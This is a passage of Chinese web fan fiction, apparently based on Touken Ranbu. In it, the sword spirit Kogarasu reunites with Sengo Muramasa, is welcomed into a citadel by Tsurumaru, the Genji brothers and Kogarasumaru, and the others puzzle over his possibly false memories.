小乌被嘴唇被夹得嘟起,张不开嘴,只能发出含糊不清的几声。 小乌抗议,千子村正夹着他的那只手晃了晃,小乌的头也跟着晃了晃。 小乌:!!! 无礼之徒! 小乌气得快冒烟了。 千子村正终于忍不住哈哈大笑,眼中带着恶作剧得逞后的得意。 他还恶劣地用其他空闲的手指揉了揉小乌鼓起来的脸颊肉,手感真不错:“怎么一段时间没见脾气变得更坏了,最开始在鹤丸面前表现得那么乖,现在不装了是吧?” 什么一段时间没见!谁跟你! 小乌停止了挣扎。 千子村正顺势松开了手,让他的嘴恢复自由。 小乌不敢置信,声音颤抖。 “千子?” “嗯。” 千子村正给予他肯定的回答,表情柔和了下来。 “我还活着。” 千言万语涌上心头,小乌快速地眨动双眼,一时不知道该从哪里开口。 千子村正凝望着他,心情同样复杂。 但还没等二刃说些什么,千子村正的大腿挨了一下。 两刃低头,是小膝丸在气鼓鼓地敲打千子村正。 “不许欺负兄长!” 小乌、千子村正:“” 他们单独找了一个地方聊。 小乌像是梦游一般,跟上千子村正的脚步。 “你你真的” 小乌的目光在千子村正的背影上流连。 “真的。” 千子村正停下脚步,转身,然后打开了臂膀。 小乌看懂了他的示意,一个猛扑上前,紧紧地抱着了千子村正。 小乌的脸贴在他散发着热意的胸膛上,熏得他眼眶也开始发热。 他通过这个扎实的拥抱确认了千子村正的真实性。 “太好了太好了” 他一遍又一遍地重复着。 “你还活着,真是太好了。” 千子村正抬起手,轻轻抚着他单薄的背脊,眼中逐渐有些湿润:“嗯。” 两刃拥抱了一会就分开了,小乌捂着脸弯腰平复了一下心情,才重新抬起头。 他抱着一点希望问:“你还活着,那鹤丸呢?” “碎刀了。” 提到鹤丸国永,千子村正声音也变得有些低哑,重逢的喜悦被冲散。 “我把你扔进时空隧道后找到了濒临碎刀的鹤丸,但是他居然直接抢过我的本体,直接在裂缝关闭前将我的本体投了进去,我的人身也因为离本体过远而被迫收回。” 小乌的眼神黯淡下来。 时空隧道关闭,也没有了同伴的帮助那就只有碎刀的下场, 千子村正很幸运地直接通过时空隧道掉落在了外出巡逻的执法队面前,被顺利地带回了时之政府。 在一系列调查和登记之后,千子村正拒绝重新分配本丸,申请加入执法队,并且在进行了为期三天的极化修行后,获得了执行执法任务的资格。 不仅仅是因为执法队能更方便快速地寻找小乌的下落,也有千子村正自己的意愿,有了之前的经历,比起在本丸中为审神者效力,他更愿意去追查那些失格的审神者,为时之政府的严打尽一份力。 “后来我在直播中看到了你,就立刻打了申请,参与E923本丸的执法行动,上面看在我和你相识的份上,批准得也很快。” 小乌静静地听着千子村正这一段时间的经历。 极化后的千子村正在气质上似乎也有了一些变化,怎么说呢,感觉变得沉稳自信了许多,行事上也多了几分直爽。 小乌为他的变化而感到欣喜 嗯,衣服也穿得更严实了,这是好事。 千子村正将手覆在他头顶上,带着揉了揉他蓬松的发顶。 小乌没有躲闪。 千子村正的神情带着长辈般的欣慰:“你也变得更坚强了呢,没那么会哭鼻嘶——” 小乌面无表情地收回了脚,踩的力道不重,只是小小地表达了一下不满。 千子村正的痛呼纯粹作秀。 小乌嘟囔:“我才没那么爱哭” 千子村正大笑起来,惹得小乌又来一脚,不过这次被他躲过去了,两刃就开始你来我往地一踩一躲。 闹了一会,千子村正按住他,开始说一些小乌恨不得自己没有听过的话了。 “其实本灵那边,髭切殿和膝丸殿本来是打算直接跟着执法队过来找你的,” 小乌:“?” 什么?! “但是因为知道我打了申请,所以还是把这次的机会让给我了。” 小乌松了一口气,还好不是马上要面对源氏兄弟。 但是也快了 小乌抓起两缕长发握在胸前,开始焦虑地扯个不停。 “我之前因为你的事情,曾经去本灵那边和他们见过一面,谈论过关于你的一些事。” 千子村正又补充:“放心,是说了一些我们在平安时代的事,没有说别的。” “那,直播” 小乌绝望地问。 “嗯哼,全看了。” 千子村正毫不留情地戳破了他的幻想。 小乌: 完辣! “好了,别想那么多。” 千子村正看他一副生无可恋的样子t?,终于良心发现不再幸灾乐祸。 “直播已经看过了,躲是躲不掉的。髭切殿和膝丸殿有亲自过来接你的意愿,说明对你的感官还是很不错的嘛,膝丸殿不太清楚huhuhuhu,我看髭切殿看直播看得挺高兴的。” “真有什么,本灵那边还有小乌丸殿和鹤丸会帮忙。” “父、小乌丸殿和鹤丸?” “嗯,小乌丸殿也很期待你的到来,特地来问了一些关于你的事情。” 千子村正掰开他的手解救了头发。 “鹤丸本灵那边我也去找过他,和他说了我们在平安时代的经历。” 小乌:“那不是我们所认识的鹤丸,就没有必要麻烦他了” 听他这么说,千子村正咽下了本来打算说的一些话。 见了面让他们自己谈吧。 千子村正:“好吧,时间差不多了,跟我回政府?” “好。” 小乌压下心中翻腾的情绪,对未知的未来充满了忐忑和紧张。 两刃回到庭院,执法队已经完成了对天守阁的搜查和对审神者的拘捕,那位审神者被特制的镣铐锁着,脸色灰败地押在一旁。 虽然被囚禁了,但刀剑男士们也没有去虐待她。 E923本丸的刀剑男士站在不远处,表情各异。 小乌看了一眼,问千子村正:“审神者和这个本丸的刀剑男士会怎么处理呢?” 千子村正:“审神者会按法律判刑监禁,抽取定量的灵力提供给无主的付丧神,刑期满后会被清除记忆放回现实世界,犯罪记录则是转移至相应世界的政府机关;这个本丸的刀剑男士则是先另外安排住处,政府统一发放任务,在登记完成后分配到别的本丸,如果有意向也可以加入政府。” 是嘛那好像还不错。 小乌放心了。 E923本丸的刀剑们不跟执法队一批离开,小乌会先跟着执法队离开。 “再见!” 小乌对E923本丸的刀剑男士们挥手。 接下来,他会被送到本灵居住的空间内。 第49章 第四十九章 初次见面,我是鹤丸国永…… 在时之政府总部, 小乌见到了阔别多日的E923本丸的髭切,金发的太刀已经彻底祛除了暗堕的影响。 “嗨~” 髭切笑着向他举起手,然后哪壶不开提哪壶:“直播我都看过了哦, 弟弟麻烦你照顾了。” 小乌:“” 小乌:“哈哈, 哈抱歉。” 髭切:“嗯嗯?为什么要道歉?” 髭切作思考状, 然后明悟:“哦!你是指给弟弟穿裙子吗?很有意思哦!我还特意保存了视频。” 小乌:啊? 好好好,有你这个兄长是膝丸的福气啊! 小乌解下刀鞘和髭切交换,两刃的的出阵服也重新变回了原来的颜色。 还是这个颜色顺眼。 小乌第一眼看到黑漆漆的髭切还真有点被吓到了,脑子转动了一下才想起来是因为他的刀鞘导致的。 髭切从表里如一重新变回了表里不一 白切黑哈哈哈! 小乌差点被自己的想法逗笑了。 但是不敢在本刃面前真的笑出来。 老实 jpg. 这时, 几位政府高官走了过来。 “小乌殿,欢迎来到时之政府, 按照程序, 我们需要为您进行一些基础的检查和数据采集,以便您本体的修复工作顺利进行。” 髭切对小乌摆摆手,先行离开了。 小乌看着髭切走掉,然后红色的猫眼警惕地扫过面前的人类。 他还是不能完全信任人类,让他本能对他们产生了抗拒。 一只温暖宽厚的手掌轻轻按在他肩膀上。 “别紧张。” 是千子村正在后面。 “我会陪你一起。” 鉴于千子村正的特殊,他被特别允许陪同小乌一起进行流程。 “好!” 小乌点头, 有熟刃陪着他有底气多了。 接下来的流程繁琐而细致, 小乌被带到一个充满科技感的检测室,各种仪器发出不同的光芒和声响。 工作人员扫描了他的本体和人身, 研究人员们对着屏幕上不断跳动的图谱和数据低声讨论着。 小乌全程紧绷着神经, 偷偷抓着千子村正的衣角, 每当他需要配合或者单独面对某个仪器的时候, 才飞快地松开手,强装镇定地走过去,但眼神总是飘来飘去。 “初步数据采集完毕。” 小乌松了一口气, 终于结束了。 然而,研究员们又拿出了平板,开始询问他的经历、记忆和本体的下落等等。 小乌这振刀剑只有传闻未见其真身,如今本刃就在眼前,他们希望能够从小乌的口中得到更多关于他的历史资料还有相关联的历史事件,填补档案的空白,补充细节。 “您对在源氏的记忆还能回忆起多少呢?比如诞生过程?或者有何人曾持有过您?” “什么?不记得了吗?那在平氏的时候呢?” “有过实战经历吗?” “您还记得坛之浦合战后沉海的位置吗?” “您是如何被唤醒的呢” 问题像连珠炮一样砸过来,小乌努力回忆,但是那些记忆都如同蒙着雾霾,厚实地阻挡着他的窥探。 源氏的记忆模糊不清,只能隐隐对髭切的本体有一点印象,至于人身,当时的刀剑除了小乌丸身负神谕较为特殊,都还没能显出人身呢,能产生灵智已经不错了。 平氏倒是还有一些零零碎碎的记忆。 他挑着还算清楚的一些记忆碎片,干巴巴地复述着,研究员们听得极其认真,不停地追问细节,但是小乌自己都很难记清,怎么可能答得上那些细节? 刨根问底式的询问耗尽了小乌的耐心,他皱起眉头,有些抗拒继续回忆自己的记忆,眼中明显地流露出些许不耐烦。 官员们敏锐地察觉倒了他的情绪,识趣地叫停了询问。 负责人收到领导的暗示,推了推眼睛,对官员和小乌说道:“非常感谢您的配合,本体的具体修复方案需要结合更深入的分析,还需要一些时间,稍后小乌殿可以先前往本灵殿下们居住的本丸安顿下来。那里同样安置了完善的设备,政府的技术人员有需要会申请上门为您的本体进行维护和修复工作。” “定向通道已经准备好了,您随时可以前往本丸。” 虽然很想让他留下来,但是呆在总部是不可能的,这也太怠慢了。 而且这么做本灵殿下们肯定也会不满。 时之政府总部和本灵所在的本丸通道是单向的,只允许本灵自由前往总部,不允许未经过允许从总部这里前往本灵的本丸。 虽然时之政府也可以关闭通道,但是这个关闭方法就像是店门不锁,却被挂在门口、写着‘未开业’的门牌,看到的客人会自觉离开,但是也不碍着有人无视牌子直接大摇大摆地推开门进去要求服务。 本灵要是真想来总部,一刀就能给通道砍开。 小乌解放了,他宁愿面对本灵也不想被问来问去的了。 他迫不及待地走向通道,却发现千子村正并没有跟上来。 小乌转头看他。 千子村正朝他摇头。 小乌明白千子村正是不能陪他一起去往本灵的本丸了。 心里不由得一阵失落。 但是该面对的还是要面对,他也不是什么没断奶的孩子。 小乌朝他挥挥手,挺起胸膛走进通道。 没关系,只是暂时的分离而已,以后随时可以去找千子玩! “等我来找你哦!” 小乌对千子村正笑着说。 “好!” 千子村正和他做下了约定 光芒散去,脚踏实地。 不愧是本灵居住的本丸,虽然只是在门口,看不到里面的全貌,但光是这样就能看出规模的宏伟了。 小乌站在紧闭的大门前,抬手敲门。 “叩叩叩。” 声音在一片寂静中显得格外清晰,但是门内毫无回应。 咦? 小乌等了一会,又加重力道敲了几下。 小乌疑惑不解,随着时间一分一秒地过去,心也渐渐地沉下去。 他已经从单纯疑惑是不是声音太小想到了他们是不是在给我下马威的阴谋论。 难道是不欢迎他吗?不至于吧他也没做什么啊。 不好的念头不受控制地在脑中翻涌,小乌越来越不安。 他后退几步,后背微微弓起。 到底是 “哇!” 一个白色的身影毫无预兆地从上方倒吊下来,和小乌几乎鼻尖对鼻尖。 “哇啊啊啊啊啊!” 小乌的魂差点被吓飞,身体的本能快过于思考,他直接举起拳头朝面前的人影狠狠地一拳攮了过去。 砰! 正中红心。 面前的t?人发出一声惨叫,失去平衡掉了下来,趴在地上,扬起一阵尘土。 拳头接触到实体的触感反而让小乌冷静了下来。 “嘶疼疼疼” 小乌抬手挥开飞扬的尘土,定睛去瞧他打中了什么。 地上的刃有着雪白的衣裳,雪白的皮肤,还有雪白的头发。 大晴天阳光灿烂,照到此刃后反射,亮得刺眼,小乌的双眼都被刺得隐隐作痛。 小乌挪开视线。 能白到这种程度的只有—— 鹤·丸·国·永! “喂喂喂” 地上的鹤丸国永终于缓过一口气,他松开捂着鼻子的手,龇着牙,委屈地控诉小乌:“我说新刃,你下手也太狠了吧。” “谁让你吓我。” 小乌撇嘴,也不是第一天认识鹤丸国永了,他才不会把鹤丸国永的控诉当真。 不过他刚刚是真的用了很大力。 鹤丸国永流下了鼻血 小乌呆了,慌里慌张地掏出手帕:“血!鼻血!” 鹤丸国永,轻伤。 好在本灵自己能用灵力恢复,血很快就止住了。 “哇你都给我打出轻伤了!” 鹤丸国永一边抱怨一边从地上爬起来,他拍了拍身上的尘土,重新站直了身体。 “”小乌心里说了声活该,“你是专门躲在上面吓我的吗?” “对啊!为了给你一个惊吓,我还特意叫他们先别给你开门呢!” 好哇!原来是你干的! 小乌磨了磨牙:“我都快被吓死了!” 但是没好意思说是被什么吓到了。 鹤丸国永一下就猜到了他没说出来的话:“放心放心,大家都很欢迎你的,你的生活用品都准备好了哦,如果有什么需要的我可以陪你去万屋购买,光坊他们还特意给你准备了美食哦!” “这、这样吗,非常感谢” 小乌有点不好意思起来。 鹤丸国永:“嘛,我一个人在门口等你也是有原因的啦!” “请不要把恶作剧美化成等我好吗” “哈哈哈!” 鹤丸国永大笑几声,然后表情变得认真起来。 鹤丸国永一旦做出正经的姿态,配上那一身纤尘不染的雪白,整个刃的气质瞬间发生了翻天覆地的变化,仿佛随时都能化羽登仙。 小乌一时被他这副充满神性的神态给唬住了,下意识屏住呼吸,认真地等待着对方接下来的话语。 鹤丸国的声音清越而平静,如同山涧流淌的清泉:“前些时日,我接受到了一振暗堕的分灵的部分记忆。” “他在千万个分灵中拼命地向我传递着他所拥有的记忆和情感,引起了我的注意,所以我选择了接受。” 那份记忆和情感沉重又炽热,执念深重,让他不由得为之动容。 小乌沉默了,酸涩冲上鼻腔,直抵眼眶。 他哽了一下:“然后呢?” 鹤丸国永:“他希望我在见到你后能够多多关照你。” 他朝小乌走近一步,袖子像鹤翼一般轻轻飘动,他的唇边漾开一个温和的笑容,然后向小乌伸出了手。 “所以,我来见你了。” “虽然我并不是那振和你建立过深厚羁绊的‘鹤丸国永’,但既然我选择接受了这份记忆和情感,我就会践行他的愿望。” 金色的眼睛在小乌的眼中就像悬挂在天空的骄阳。 “那么重新认识一下吧!” “初次见面!我是鹤丸国永,平安时代被锻造出来之后,经历过多次易主,直到现在我会照亮你的前路,顺风顺水地继续前行吧!” 即使不是那个他,却依然跨越了时空,将那份不曾说出口的承诺,送到了小乌的面前,连接着过去的悲伤与思念,也指向了未来新的可能。 小乌缓缓地握住了面前的那只手。 “初次见面,我是小乌。” “未来请,多多指教。” 第50章 第五十章 住哪里是一个问题 鹤丸国永自然地拉着小乌转身推开了大门:“走吧!这里以后就是你的新家了!” “砰!砰!砰!” 数道清脆的响声伴随的五彩缤纷的彩带和亮片从天而降。 刀剑男士们脸上洋溢着笑容, 纷纷欢呼起来,热情地欢迎小乌的到来。 “欢迎!” “欢迎小乌殿!” “欢迎来到本丸!” 小乌愣在原地,眼睛微微睁大。 他有些手足无措, 但更多的还是感动。 小乌对着面前的刀剑男士们深深地鞠了一躬:“非常感谢大家, 我是小乌, 请多指教!” 鹤丸国永笑着拍了拍他的肩膀:“好啦好啦,别这么拘谨,在这里大家都是一家刃。” 他拉着小乌开始穿梭在人群中,为他介绍着每一位刀剑男士。 三条派、左文字派、来派、江派、一文字 许多小乌在游戏中见过的刀剑男士都聚集在此, 也有一些是新实装的小乌并不熟悉。 他不停地跟随着鹤丸国永的脚步点头问好,大家友善的态度让他逐渐放松下来. 然后, 鹤丸国永带着他来到了站在回廊下的源氏兄弟面前。 髭切和膝丸并肩而立。 髭切脸上挂着笑, 站姿随和,温和地注视着他,膝丸则站得笔挺,犹如一棵青松,神情比髭切要紧绷一些。 随着小乌的走进,小乌能够隐约看到两刃相同的茶金色双眼映入了他的身影。 该来的还是来了。 小乌的心跳不由自主地加快了几分, 脚步也慢了下来。 源氏兄弟, 尤其是髭切,对他来说还是格外的特殊, 他本能地对他们拥有敬畏。 但是想想E923的髭切对他的总体还算和善的态度, 还是给了小乌几分自信。 小乌主动开口打招呼:“髭切大人, 膝丸大人。” “欢迎~” “欢迎你来到本丸。” 膝丸上前一步, 手中捧着一个包装精美的礼盒,递到小乌面前。 “这是我和兄长共同挑选的。”膝丸看出了小乌的紧张,干咳一声, 放轻了自己的嗓音,让自己不显得那么严肃,“作为欢迎你加入的礼物,也是我们作为前辈的一点心意。” 小乌受宠若惊地双手接过礼盒。 真、真的吗?居然还有礼物! 小乌按捺住惊喜问道:“我可以拆开吗?” 髭切:“当然可以啦。” 小乌小心翼翼地拆开包装,打开盒盖,里面叠放着一套崭新的运动服,黑白色,面料顺滑柔软,做工精细,仔细看,款式似乎与面前兄弟二刃此刻身上穿着的内番服有些相似之处。 髭切:“刀剑男士显现后只有出阵服,内番服都是我们自己挑选的,小小诶?” 膝丸无奈地轻声提醒:“是小乌,兄长。” 髭切:“对,对,小草初来乍到,还没有准备这些,所以我们就先挑了一套。” 唉,兄长 膝丸在一旁想扶额叹气,但是看着兄长无辜的笑脸,也只能把他原谅。 什么小草,刚刚膝丸不是才纠正过我的名字嘛。 不过小乌知道髭切老年痴呆的尿性,没有在意,不如说除了膝丸其实也没刃还会在意髭切的胡言乱语,都已经习惯了。 这是什么?这是我推亲自给我挑的礼物! “谢谢髭切大人和膝丸大人!” 小乌心里美滋滋的,反馈到脸上就是高高扬起的嘴角,露出尖尖的小虎牙。 髭切看到小乌这副高兴的样子有一点被可爱到了,非常自然地伸手掐了一把他还带着婴儿肥的脸颊肉,快得小乌都没反应过来。 “唔?” 小乌猝不及防间就被得手了,整个人都懵了一下。 刚刚发生了什么? 髭切若无其事地收回手,他还回味了一下。 手感软软的,还有点弹性。 他脸上的笑容更深了:“不用叫得那么生疏啦,大人什么的直接叫名字就好了哦,嘛,现在已经不是源氏的时代了。” 没有必要搞得那么阶级分明。 弟弟也是,有的时候有些太较真了,其实多撒撒娇也是可以的。 小乌从善如流,立刻改口:“好的!髭切,膝丸。” 膝丸看着兄长略显亲昵的动作和小乌毫无芥蒂的改口,脸上也露出了些许笑意,点了点头。 然后他关切地问道:“你刚来到本丸,住处还没有安排。你想怎么住?如果是一个人住,可以多在本丸逛逛,空房间很多,可以随意挑选。或者” 他顿了顿,看了一眼髭切,语气带上了些询问:“如果你愿意,也可以住我们房间附近,这样我们平时照应起来也方便些。” 他其实很纠结,小乌除了他们源氏兄弟以外似乎和其他的刀剑并没有什么关联,万一这孩子害怕寂寞,害怕一个人住t?怎么办呢? 邀请他直接来一起住吗?虽然源氏的部屋很大,再多住一人完全没问题,但不知道兄长到底是个什么想法 虽然兄长曾经表示过小乌来了可以多关照关照他,但当时膝丸向髭切询问友切的事以及他对小乌的看法时,髭切却有些语焉不详。 他只告诉了他当年确实只是屏风意外压断了小乌的刀剑,他们之间并没有什么,而且从执法队的直播来看也足够说明小乌并不介怀这件事。 但是没告诉他更加详细的内容,没有多提,只是和他说需要再和小乌接触一下才能确定一些事情。 髭切的态度不够明确,膝丸也不敢擅自做主,生怕引起兄长的不快。 就在膝丸内心纠结,眼神不由自主地瞟向髭切时,髭切直接接过了话头,主动提出邀请:“来我们的部屋一起住也是可以的哦。” “毕竟都是源氏的刀,同出一处,我们也可以是很亲近的同族了呢。” “弟弟呢?” “当然没问题!” 阿尼甲—— 膝丸眼睛亮了起来,兄长主动提了,那意思就是他和小乌之间并没有什么龌龊,甚至关系还要比他想象中的更亲近? 毕竟髭切完全不是个会委屈自己的刃,不愿意的会是绝对不会提出来的,就算被其他刃提出来,只要他不愿意,也会干脆地拒绝掉。 兄弟之间的默契无需多言,髭切一下就知道了膝丸心里在想什么,轻轻拍了拍膝丸的胳膊。 小乌十动然拒。 虽然这邀请非常有诱惑力,但对他来说,其实和源氏兄弟也不是很熟既不是亲兄弟,又没有长期相处过,双方其实都只是处于认识但是不了解的情况罢了。 在这兄弟俩之间横插一脚让刃很尴尬。 而且 小乌忍了又忍,还是决定纠正一下髭切的说法。 “那个” “嗯?” “谢谢你们的邀请,但是。”小乌握着盒子边缘的两只手紧了紧,“我永远铭记着源氏令我诞生的恩情,但并不认为自己现在还是属于源氏的刀剑。在源氏将我抛弃的那一刻,我就已经不再属于源氏。” “这样啊” 髭切慢悠悠地回复,语气听不出喜怒。 膝丸眉头皱了一下,但是他也没有立场反驳,毕竟被源氏抛弃的是小乌。 不愿意承认源氏也是理所当然的吧 髭切:“那么,你认为自己归属于平氏吗?” 髭切的语气虽然很平和,但是他的发问却莫名的尖锐。 薄薄的嘴唇在张合间显露出和小乌一样、白森森的虎牙。 髭切看了一眼就站在不远处看着他们的小乌丸。 小乌丸面色不显,一动不动。 “不,哪里都不是。” 平氏就更让小乌厌恶了。 “时代已经变了,我没必要再纠结于源氏和平氏之间,我就是我。” 髭切定定地看了他一会。 小乌毫无怯色地和他对视。 虽然这种话有些煞风景,对于他们来说可能也非常不识趣,但是这是迟早要说的。 也不能仗着他们的误解,将错就错。 “我知道了。” 髭切率先结束了突如其来的对峙,他伸手揉乱了小乌的头发,笑容重新回到脸上:“这样也很好,我也没有立场来指摘你。” 毕竟小乌是被伪装成髭切,作为他的替代品被送去平氏的,他是既得利者,有什么资格来指责小乌呢? 更何况他说的也很对。 时代已经不同了啊。 不过髭切觉得还是可以救一下:“来我们部屋附近住如何?就像弟弟说的一样,我们可以更好地关照得到你。” 膝丸点头:“是这样。” 这个好像可以 小乌心动了。 但是鹤丸国永在这个时候见缝插针地窜过来揽住了小乌的肩膀:“跟我一起住怎么样?” 跟鹤丸住? 小乌陷入思考。 好像也不错,在平安时代的时候也是这么睡过来的,虽然不是同一只鹤,但毕竟都是鹤,和他一起住的话也许会更舒服。 而且这个本丸鹤丸国永才应该是他最熟悉的刃。 见小乌还在犹豫,鹤丸国永开始卖惨:“我都没有兄弟,部屋里面只有我一个老刃家,屋子好大好空旷,空虚寂寞冷。” “没有人陪我睡前聊天,晚上冷了也只能去和小伽罗挤被窝” 鹤丸国永装着装着就开始真情实感地幽怨起来:“和小伽罗挤被窝会嫌弃我,只是拿脚碰了他一下他就把我踹了出去呜呜呜。” 如果大俱利伽罗在这里听到这番话,他可能会忍不住举着拳头冲上来殴打老刃家。 拿脚故意去冰他,还好意思装无辜,装可怜! 吃我一拳! 打的就是你个不要脸的臭老头! 50-60 第51章 第五十一章 若草?小乌? 大俱利伽罗有话要说。 大俱利伽罗不在现场, 只能任由鹤丸国永抹黑形象。 小乌心知肚明,肯定是鹤丸国永没干人事才会被刃踹,但他确实觉得这个主意挺好。 平安时代和鹤丸国永和千子村正睡一个屋, E923本丸也是和小膝丸睡一个屋, 他已经习惯了, 如果让他再回到一个刃的状态,可能会觉得很寂寞吧。 “好像也可以。” 两个怕寂寞的刃睡一屋刚刚好啦! 居然在这个时候来横插一脚! 膝丸眉头皱起,瞪向鹤丸国永:这可是兄长先邀请的! 鹤丸国永脸皮厚得像城墙,对膝丸的瞪视视若无睹, 反而搂紧了小乌,表情愈发可怜, 眼睛布灵布灵地闪, 就差在脸上写上“选我选我”。 鹤丸国永:打感情牌还是我有优势啊! 就在气氛逐渐微妙之际,小乌丸不知何时已经走到了小乌近前。 “欢迎子代。” 他的气质沉静,深邃的眼瞳就像黑曜石一般,温和地注视着小乌。 “这里以后就是你的家了,且安心住下吧。” 看到小乌丸亲自过来和他说话,小乌内心一阵难以抑制的激动, 他几乎是脱口而出了一句:“谢谢您, 父上大人!” 这一声让在场除了鹤丸国永以外的刃都愣了一下。 髭切和膝丸是因为有一丝微妙的不爽,不是和源氏和平氏都划清界限了吗?凭什么叫小乌丸叫父亲叫得那么亲?! 区别对待啊! 先前本丸的大家都从小乌丸的口中得知过他曾经从平家家主手中救下过小乌, 所以鹤丸国永对于小乌的这一声倒并没有很吃惊。 小乌丸也不是因为这一点愣住。 在这群一点也不服小的刀剑付丧神中, 虽然他是日本刀剑之父, 但是基本没有刀剑愿意真心实意地称他过一声父亲。 哪怕是会叫他父亲大人的小短刀们, 也更多的是出于对长辈的敬重,并不是完全把他当成父亲。 一群逆子。 只有小乌自然又孺慕地像雏鸟一般喊他父上大人。 小乌丸听完感觉心里暖暖的——这才是真的把他当父亲啊! 小乌丸的脸上瞬间绽开了慈爱的笑容,抬起手。 小乌立刻心神领会地蹲下, 让小乌丸的手落到了他的头上。 “乖孩子。” 小乌丸的声音充满了怜爱,轻轻抚摸了几下他的头发,然后双手捧起他的脸颊。 小乌抬起头和他对视,小乌丸的眼眸中清晰地倒映着小乌的脸。 哦、哦呼! 小乌脸红了。 小乌丸发出一声轻笑:“以后遇到什么困难子代可以来找为父。” 小乌丸的目光扫过旁边表情各异的三刃。 髭切、膝丸:挑衅吗? 鹤丸国永:看戏。 小乌丸:“能够再次见到子代,为父很高兴。” 游子归家,他由衷地感到喜悦。 小乌被这直白的话冲击得晕头转向:“我也是” “好了。”小乌丸拍拍他的肩膀,收回手,“时间不早了,先去安顿好住处吧,稍后就是用膳的时间了。” 小乌点头,重新站起,小乌丸则是离开了。 小乌留恋地多看了一会小乌丸的背影,然后才对着鹤丸国永说:“我和你一起住吧!” “好耶!”鹤丸国永欢呼一声,生怕他反悔似的,一把抓住小乌的手腕,欢快地拉着他往自己的部屋跑,“走走走!去看看还有什么要添的,我们好好布置一下!” 兄长被小乌拒绝了 膝丸看着小乌一边被拉着跑一边和他们道别,心里有些空落落的。 他看向身边的髭切,观察他的表情,生怕兄长会因为被小乌拒绝而失落。 然而,他却看到髭切捏着下巴,眉头微蹙,像是在思索着一个让他困扰的难题。 “兄长?” 膝丸轻声唤道。 髭切:“唔叫他小草完全没有反应呢。” 膝丸:? 兄长这话t?是什么意思?为什么叫“小草”要有反应? 膝丸先是疑惑地发出一声鼻音,随即反应过来,睁大眼睛:“兄长你原来刚刚并不是不记得小乌的名字吗?!” 他还以为是随便瞎叫的呢。 “嗯?弟弟你在说什么?小乌的名字我当然记得啦。” “那我的名字?” “诶那个名字什么的都无所谓啦~” “兄长!我是膝丸啊!” 看着髭切这副装傻充愣的样子,膝丸叹了一口气,放弃了:“所以,小草是有什么含义吗?是要从小乌那里试探出什么吗?” 髭切看着弟弟困惑的样子,轻轻地叹了口气,仿佛透过膝丸看到了遥远的过去:“弟弟也不记得了呢。” “什么?”膝丸更懵了。 髭切缓缓说道:“小草,指的是‘若草’哦。它也是是源氏的刀,和你一样,曾经是义经公的佩刀,就连箱根奉还,也是同你一起的哦,不过之后大概就各自跟随了不同的主人吧。” “若草?” 膝丸在记忆中拼命搜寻这个名字,却一无所获。 “我的记忆力完全没有这样的一把刀,兄长你”膝丸欲言又止,真的没有记错吗? 如果真有这么一振刀,同为义经公佩刀的他怎么可能会不记得? “真是的!”髭切撅嘴,“我绝对没有记错的啦!” 髭切:“嘛,这种情况也是正常的。你忘记今剑和岩融了吗?我们的记忆中没有他们,他们的记忆中也没有我们。” 膝丸觉得他好像明白了:“所以,若草是和他们一样,其实是不存在的刀剑?” 好像也不对,这说不通。 如果若草和今剑岩融一样,那为什么唯独兄长还会记得它呢?又是从何得知的? “不。”髭切摇头否认了膝丸的猜测,“若草是真实存在的,我很早就见过它了。” “很早?”膝丸感觉自己的大脑快要宕机了,“那是什么时候?为什么我” 不过让膝丸更崩溃的是他向来不记事的老哥都记得的事情他居然一点都不记得,为什么?难道真的是因为年纪大了所以记忆力也开始出现问题了吗? 膝丸内心的小刃抱头尖叫,怀疑刃生。 死脑,快想啊! “”髭切沉默片刻,然后和膝丸大致讲了一下关于若草的一些信息。 膝丸听完,试图分析道:“所以兄长叫小乌‘小草’,是认为小乌就是若草吗?但是他并没有反应是因为记忆缺失的问题吗?所以真心实意地认为自己是小乌,不记得自己真正的名字?” 髭切:“是有这个猜测。” 但基于这个猜测,问题又出现了。 为什么一振刀剑在失去记忆、遗忘自己的名字后,会认为自己是另一振刀剑? 髭切沉吟着,那换一个思路,如果小乌并不是若草 他现在有两个猜测,却拿不准注意,无法下结论。 或许可以再问问其他刃。 髭切的目光忽然转向回廊的拐角处,对着空无一人的拐角说:“呐,乌鸦丸偷偷听了这么久,有没有什么发现呢?” “你肯定有发现不对劲的地方,对吧?” 话音落下,拐角处一个身影踱步而出,赫然是刚刚分明已经离开的小乌丸。 小乌丸:“原来如此如此看来,为父的记忆也有些问题。” 听了源氏兄弟的谈话,他也理清了一些思路。 “怪不得在得知小乌的存在后会突然出现一段不曾有过的记忆。” 他的分灵在遇到小乌后过来和本灵汇报,本灵的小乌丸在听完他的分灵的描述后,关于小乌的记忆才逐渐清晰。 这段记忆的出现过于自然,他虽然察觉到了哪里不对劲,但是一时找不出是哪里不对,所以只是认为这些记忆因为时间太过久远而被他遗忘了,知道小乌本刃的出现才唤醒了这些沉寂已久的记忆。 现在,若草的存在印证了他的猜想—— 关于小乌的那些记忆是他得知了小乌的存在后才凭空出现的。 而且,他并没有关于若草的记忆。 这可真是古怪。 那么,这一段突然冒出来的记忆,又是真实发生过呢,还是虚假的呢? 他是否真的有从平家家主手下救下过小乌呢? 虽然看那孩子的反应他应该拥有和他相同的记忆,但这并不能说明他们的记忆就是完全正确的。 毕竟,刀剑的逸闻是构成一名刀剑付丧神非常重要的一个部分,影响重大,就算是没有发生过的事,在刀剑付丧神的记忆中也会因为其逸闻的传播之广、影响力之大而变成真实发生过的。 “” 三刃互相分享了所知的信息。 再加上之前髭切曾经试探过所有平安时代的刀剑男士,发现他们没有一个刃的记忆中有小乌的存在,最多就是有一个模模糊糊的“似乎有听说过这把刀”“好像从关于友切的传闻听说过”这样的回答。 让小乌的存在更加扑朔迷离。 他们更是对若草这振刀剑无比陌生,从未听说过。 髭切的眼神沉了下去,取而代之的是凝重:“这么看来,是更糟糕的情况。” 小乌丸:“这样的话,应该让他回平安时代去看一看。” 膝丸:“让小乌回去看一看么?那就是要进行那个,极化修行?” 结合刚刚的信息,膝丸觉得走势越来越不妙了,对小乌回到平安时代回望过去这件事有些不好的预感。 第52章 第五十二章 鹤丸:小乌一定很为我啄米…… 极化修行, 刀剑付丧神需要回溯本源,直面自身所经历过的历史,正视己身, 使心境澄明, 实力也会发生质的飞跃。 分灵所经历的极化修行都是本灵根据自己的极化修行而利用时之政府科技制作的一段历史投影, 所以安全性和成功率都是百分百。本灵就不一样了。 本体尚存于世,接收着人类的供奉的刀剑付丧神们根基稳固,对他们来说极化修行并没有什么难度,但是对于本体损坏、折断、下落不明甚至本身就是建立在逸闻上的刀剑付丧神们来说, 极化修行可以说是九死一生。 他们往往执念深重,心结难解。在回溯历史的过程中, 容易迷失在过往, 